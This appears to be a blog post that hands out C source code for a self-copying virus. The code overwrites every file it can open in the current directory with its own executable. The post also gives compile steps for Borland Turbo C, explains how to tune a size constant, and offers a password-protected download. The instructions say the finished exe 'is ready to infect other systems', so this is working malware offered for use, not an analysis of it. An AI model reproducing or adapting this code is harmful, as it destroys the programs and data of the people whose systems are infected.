Create Your Own virus by using C
This Virus Can infect your all exe files so don't compile on your own PC
remove extra spaces from < _this_ >
#include< stdio.h>
#include< io.h>
#include< dos.h>
#include< dir.h>
#include< conio.h>
#include< time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
Or
Download c virus .c file
Clik here (pass word : computerfun)
How You Will Compile This Code
Step 1 :
- First You Will need Borland TC 3.0
- Copy these code into the compiler and
- then press Alt+F9, it will compile the code.
Step 2:
- How to generate these code in to the exe file of the virus
- >press F9
- Remember Do Not Press CTRL+F9 as this will infect your system also.
- And also Check the size of the generated exe file in Bytes.
Step 3:
- Modify the value of X (which is 89088 initially) in the code above with the size noted in above step.
Step 4:
- Go to step 1 and step 2 again
- the exe file obtained now is the Virus and is ready to infect other systems.
How To Test:
- Make a new folder and put some (any) exe files in it.
- Also put this virus in it.
- Run the virus and you will notice that the other exe files will get infected.
- All the infected files are ready to reinfect.
source:
Don't Know
Note:
- For Sharing Our any Tricks or Post Contact us Directly via Comments
- Feel Free To Contact with us
- Thanks for Visiting
thanx bro
ReplyDeleteabb tu yhi sab kr?